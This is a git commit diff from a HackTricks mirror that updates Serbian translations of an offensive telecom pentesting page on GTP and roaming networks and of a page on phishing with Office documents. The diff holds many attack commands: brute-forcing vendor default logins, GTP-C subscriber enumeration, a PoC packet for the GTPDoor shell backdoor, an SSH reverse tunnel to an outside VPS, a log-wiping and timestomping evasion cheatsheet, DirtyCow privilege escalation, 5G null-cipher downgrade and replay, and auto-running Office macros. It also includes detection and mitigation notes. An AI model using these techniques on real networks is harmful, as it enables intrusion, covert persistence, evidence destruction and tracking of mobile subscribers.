mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
1d6b8ec830
commit
a6726a59d5
@ -1,27 +1,27 @@
|
|||||||
# Eksploatacija telekom mreža (GTP / roaming okruženja)
|
# Eksploatacija telekom mreža (GTP / Roaming Environments)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
|
> Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
|
||||||
|
|
||||||
## 1. Recon & Initial Access
|
## 1. Recon & Initial Access
|
||||||
|
|
||||||
### 1.1 Default OSS / NE Accounts
|
### 1.1 Default OSS / NE Accounts
|
||||||
Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećen wordlist dramatično povećava brute-force uspeh:
|
Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a:
|
||||||
```bash
|
```bash
|
||||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||||
```
|
```
|
||||||
Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
|
Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
|
||||||
|
|
||||||
### 1.2 Otkrivanje hostova unutar GRX/IPX
|
### 1.2 Otkrivanje hostova unutar GRX/IPX
|
||||||
Većina GRX operatera i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama kako biste brzo mapirali GTP-C slušače:
|
Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce:
|
||||||
```bash
|
```bash
|
||||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||||
```
|
```
|
||||||
## 2. Enumerating Subscribers – `cordscan`
|
## 2. Enumeracija pretplatnika – `cordscan`
|
||||||
|
|
||||||
Sledeći Go alat konstruše **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
|
Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
|
||||||
```bash
|
```bash
|
||||||
# Build
|
# Build
|
||||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||||
@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
|||||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||||
```
|
```
|
||||||
Ključne opcije:
|
Ključne opcije:
|
||||||
- `--imsi` Ciljni pretplatnik IMSI
|
- `--imsi` IMSI ciljnog pretplatnika
|
||||||
- `--oper` Home / HNI (MCC+MNC)
|
- `--oper` Home / HNI (MCC+MNC)
|
||||||
- `-w` Snima sirove pakete u pcap
|
- `-w` Zapiši raw packets u pcap
|
||||||
|
|
||||||
Važne konstante unutar binary mogu biti patched da prošire skeniranja:
|
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao:
|
||||||
```
|
```
|
||||||
pingtimeout = 3 // seconds before giving up
|
pingtimeout = 3 // seconds before giving up
|
||||||
pco = 0x218080
|
pco = 0x218080
|
||||||
common_tcp_ports = "22,23,80,443,8080"
|
common_tcp_ports = "22,23,80,443,8080"
|
||||||
```
|
```
|
||||||
## 3. Code Execution over GTP – `GTPDoor`
|
## 3. Izvršavanje koda preko GTP – `GTPDoor`
|
||||||
|
|
||||||
`GTPDoor` je mali ELF servis koji **veže se na UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr su exfiltrated unutar **Echo Response** poruka tako da nikakva izlazna sesija nikada nije kreirana.
|
`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija.
|
||||||
|
|
||||||
Minimalni PoC paket (Python):
|
Minimalni PoC packet (Python):
|
||||||
```python
|
```python
|
||||||
import gtpc, Crypto.Cipher.AES as AES
|
import gtpc, Crypto.Cipher.AES as AES
|
||||||
key = b"SixteenByteKey!"
|
key = b"SixteenByteKey!"
|
||||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
|||||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||||
```
|
```
|
||||||
Detekcija:
|
Detekcija:
|
||||||
* bilo koji host koji šalje **unbalanced Echo Requests** to SGSN IPs
|
* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama
|
||||||
* GTP version flag set to 1 while message type = 1 (Echo) – odstupanje od specifikacije
|
* GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije
|
||||||
|
|
||||||
## 4. Pivoting kroz jezgro
|
## 4. Pivoting Through the Core
|
||||||
|
|
||||||
### 4.1 `sgsnemu` + SOCKS5
|
### 4.1 `sgsnemu` + SOCKS5
|
||||||
`OsmoGGSN` dolazi sa SGSN emulatorom sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan from the roaming peer.
|
`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a.
|
||||||
```bash
|
```bash
|
||||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||||
-APN internet -c 1 -d
|
-APN internet -c 1 -d
|
||||||
ip route add 172.16.0.0/12 dev tun0
|
ip route add 172.16.0.0/12 dev tun0
|
||||||
microsocks -p 1080 & # internal SOCKS proxy
|
microsocks -p 1080 & # internal SOCKS proxy
|
||||||
```
|
```
|
||||||
Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u **sloj podataka**.
|
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**.
|
||||||
|
|
||||||
### 4.2 SSH Reverse Tunnel preko Port 53
|
### 4.2 SSH Reverse Tunnel over Port 53
|
||||||
DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće:
|
DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće:
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||||
```
|
```
|
||||||
Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
|
Proverite da li je `GatewayPorts yes` omogućen na VPS-u.
|
||||||
|
|
||||||
## 5. Skriveni kanali
|
## 5. Tajni kanali
|
||||||
|
|
||||||
| Kanal | Transport | Dekodiranje | Napomene |
|
| Kanal | Transport | Dekodiranje | Napomene |
|
||||||
|---------|-----------|----------|-------|
|
|---------|-----------|----------|-------|
|
||||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivni listener, bez odlaznog saobraćaja |
|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja |
|
||||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) kodirano u oktetima A-record zapisa | prati poddomen `*.nodep` |
|
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen |
|
||||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | uklapa se sa legitimnim GTP-C saobraćajem |
|
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem |
|
||||||
|
|
||||||
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i re-spawnuju se ako se sruše.
|
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše.
|
||||||
|
|
||||||
## 6. Defense Evasion Cheatsheet
|
## 6. Pregled tehnika izbegavanja detekcije
|
||||||
```bash
|
```bash
|
||||||
# Remove attacker IPs from wtmp
|
# Remove attacker IPs from wtmp
|
||||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
|||||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||||
setenforce 0 # disable SELinux
|
setenforce 0 # disable SELinux
|
||||||
```
|
```
|
||||||
## 7. Privilege Escalation na Legacy NE
|
## 7. Eskalacija privilegija na Legacy NE
|
||||||
```bash
|
```bash
|
||||||
# DirtyCow – CVE-2016-5195
|
# DirtyCow – CVE-2016-5195
|
||||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||||
@ -116,76 +116,76 @@ Savet za čišćenje:
|
|||||||
userdel firefart 2>/dev/null
|
userdel firefart 2>/dev/null
|
||||||
rm -f /tmp/sh ; history -c
|
rm -f /tmp/sh ; history -c
|
||||||
```
|
```
|
||||||
## 8. Alati
|
## 8. Set alata
|
||||||
|
|
||||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisani u prethodnim sekcijama.
|
||||||
* `FScan` : intranet TCP skeniranje (`fscan -p 22,80,443 10.0.0.0/24`)
|
* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||||
* `Microsocks` + `ProxyChains` : lagano SOCKS5 pivotiranje
|
* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting
|
||||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||||
|
|
||||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||||
|
|
||||||
Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).
|
Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed).
|
||||||
|
|
||||||
Registration flow (pojednostavljeno):
|
Tok registracije (pojednostavljeno):
|
||||||
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je.
|
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities.
|
||||||
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
|
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
|
||||||
- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju.
|
- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering.
|
||||||
- PDU Session Establishment: IP/QoS podešavanje.
|
- PDU Session Establishment: podešavanje IP/QoS.
|
||||||
|
|
||||||
Lab setup saveti (non-RF):
|
Saveti za lab podešavanje (bez RF):
|
||||||
- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
|
- Core: Open5GS default deployment je dovoljan za reprodukciju toka.
|
||||||
- UE: simulator ili test UE; dekodujte pomoću Wireshark.
|
- UE: simulator ili test UE; dekodovati pomoću Wireshark.
|
||||||
- Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB).
|
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||||
- Korisni display filteri u Wireshark:
|
- Korisni display filteri u Wireshark:
|
||||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||||
|
|
||||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||||
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika.
|
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika.
|
||||||
|
|
||||||
Kako testirati:
|
Kako testirati:
|
||||||
- Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
|
- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
|
||||||
- Wireshark quick checks:
|
- Wireshark brze provere:
|
||||||
- Trebalo bi da dekoduje kao SUCI, ne kao IMSI.
|
- Trebalo bi da dekodira kao SUCI, ne IMSI.
|
||||||
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo tog polja uz prisustvo `imsi` ukazuje na curenje.
|
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage.
|
||||||
|
|
||||||
Šta sakupiti:
|
Šta prikupiti:
|
||||||
- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije.
|
- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija.
|
||||||
|
|
||||||
Mitigacija:
|
Mitigacija:
|
||||||
- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.
|
- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.
|
||||||
|
|
||||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||||
Pozadina:
|
Background:
|
||||||
- UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
|
- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
|
||||||
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
|
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
|
||||||
|
|
||||||
Problem:
|
Problem:
|
||||||
- Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa.
|
- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.
|
||||||
|
|
||||||
Ofanzivni koraci:
|
Ofanzivni koraci:
|
||||||
- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0.
|
- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
|
||||||
- Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja.
|
- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja.
|
||||||
- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
|
- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0.
|
||||||
|
|
||||||
Verifikacija/vidljivost:
|
Verifikacija/vidljivost:
|
||||||
- U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete.
|
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
|
||||||
- Primer pasivnog sniffer output-a:
|
- Primer izlaza pasivnog sniffera:
|
||||||
```
|
```
|
||||||
Encyrption in use [EEA0]
|
Encyrption in use [EEA0]
|
||||||
Integrity in use [EIA0, EIA1, EIA2]
|
Integrity in use [EIA0, EIA1, EIA2]
|
||||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||||
```
|
```
|
||||||
Mitigacije (mora):
|
Mitigacije (obavezno):
|
||||||
- Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi).
|
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi).
|
||||||
- Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms.
|
- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms.
|
||||||
|
|
||||||
### 9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS)
|
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||||
Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF.
|
Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF.
|
||||||
|
|
||||||
PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a:
|
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:
|
||||||
```xml
|
```xml
|
||||||
<beginning>
|
<beginning>
|
||||||
<property value="THEN"
|
<property value="THEN"
|
||||||
@ -209,31 +209,31 @@ boolean_expression="nas_5g.message_type == 65"/>
|
|||||||
</beginning>
|
</beginning>
|
||||||
```
|
```
|
||||||
What to observe:
|
What to observe:
|
||||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost.
|
||||||
|
|
||||||
Mitigations:
|
Mitigations:
|
||||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE.
|
||||||
|
|
||||||
### 9.4 Tooling pointers (reproducible)
|
### 9.4 Tooling pointers (reproducible)
|
||||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS.
|
||||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration.
|
||||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu.
|
||||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije.
|
||||||
|
|
||||||
### 9.5 Defensive checklist
|
### 9.5 Defensive checklist
|
||||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila.
|
||||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2.
|
||||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
|
||||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Ideje za detekciju
|
## Detection Ideas
|
||||||
1. **Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests**.
|
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||||
2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internog IP prostora.
|
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||||
3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone.
|
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||||
4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**.
|
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||||
5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a** (signal repleja).
|
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||||
6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0** van konteksta hitnih procedura.
|
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -1,40 +1,38 @@
|
|||||||
# Phishing fajlovi i dokumenti
|
# Phishing fajlovi & dokumenti
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Office dokumenti
|
## Office dokumenti
|
||||||
|
|
||||||
Microsoft Word vrši validaciju podataka fajla pre otvaranja. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
|
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija se obavlja u vidu identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se dogodi bilo kakva greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
|
||||||
|
|
||||||
Obično Word fajlovi koji sadrže macros koriste `.docm` ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i ipak zadržati mogućnost izvršavanja njihovih macros.\
|
Obično Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa. Na primer, RTF fajl po dizajnu ne podržava makroe, ali `.docm` fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa. Ista interna logika i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint itd.).
|
||||||
Na primer, RTF fajl po dizajnu ne podržava macros, ali DOCM fajl preimenovan u RTF će biti tretiran od strane Microsoft Word i biće sposoban za izvršavanje macros.\
|
|
||||||
Isti internals i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint etc.).
|
|
||||||
|
|
||||||
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
|
Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa:
|
||||||
```bash
|
```bash
|
||||||
assoc | findstr /i "word excel powerp"
|
assoc | findstr /i "word excel powerp"
|
||||||
```
|
```
|
||||||
DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe “izvršavati” macros.
|
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||||
|
|
||||||
### Učitavanje eksternih slika
|
### Učitavanje spoljne slike
|
||||||
|
|
||||||
Idite na: _Insert --> Quick Parts --> Field_\
|
Idite na: _Insert --> Quick Parts --> Field_\
|
||||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
_**Kategorije**: Links and References, **Nazivi polja**: includePicture, and **Ime fajla ili URL**:_ http://<ip>/whatever
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Macros Backdoor
|
### Macros Backdoor
|
||||||
|
|
||||||
Moguće je koristiti macros za pokretanje proizvoljnog koda iz dokumenta.
|
Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta.
|
||||||
|
|
||||||
#### Funkcije za automatsko učitavanje
|
#### Autoload functions
|
||||||
|
|
||||||
Što su češće, to je verovatnije da će ih AV detektovati.
|
Što su češće, veća je verovatnoća da će ih AV otkriti.
|
||||||
|
|
||||||
- AutoOpen()
|
- AutoOpen()
|
||||||
- Document_Open()
|
- Document_Open()
|
||||||
|
|
||||||
#### Macros Primeri koda
|
#### Macros Code Examples
|
||||||
```vba
|
```vba
|
||||||
Sub AutoOpen()
|
Sub AutoOpen()
|
||||||
